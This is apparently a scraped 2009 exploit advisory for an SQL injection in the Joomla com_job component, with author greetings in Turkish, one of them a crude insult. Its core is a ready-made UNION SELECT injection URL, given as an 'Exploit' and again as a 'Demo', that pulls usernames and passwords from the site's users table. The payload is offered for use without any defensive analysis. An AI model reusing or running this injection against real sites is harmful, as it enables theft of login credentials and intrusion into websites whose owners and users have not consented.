35 lines
No EOL
1.1 KiB
Text
35 lines
No EOL
1.1 KiB
Text
/**************************************************************************
|
||
|
||
[!] Joomla Component com_job ( showMoreUse) SQL injection vulnerability
|
||
[!] Author : Palyo34
|
||
[!] Homepage: http://www.1923turk.biz
|
||
[!] Date : 12 08, 2009
|
||
|
||
**************************************************************************/
|
||
[+] Manas58
|
||
[+] Topunuzun a.q
|
||
[+] aponun picleri
|
||
[+]
|
||
[+]
|
||
[+] 7 KAHRAMAN fiEH›D›M›Z› SAYGIYLA ANIYORUZ ALLAH RAHMET EYLES›N
|
||
|
||
|
||
|
||
|
||
|
||
===========================================================================
|
||
|
||
|
||
|
||
http://server/index.php?option=com_job&task=showMoreUser&id=[SQL]
|
||
|
||
[ Exploit ]
|
||
|
||
index.php?option=com_job&task=showMoreUser&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(username,0x3a,password),17,18,19,20,21,22,23,24,25+from+kew_users--
|
||
|
||
[ Demo ]
|
||
|
||
http://www.site.com/index.php?option=com_job&task=showMoreUser&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(username,0x3a,password),17,18,19,20,21,22,23,24,25+from+kew_users--
|
||
|
||
|
||
=========================================================================== |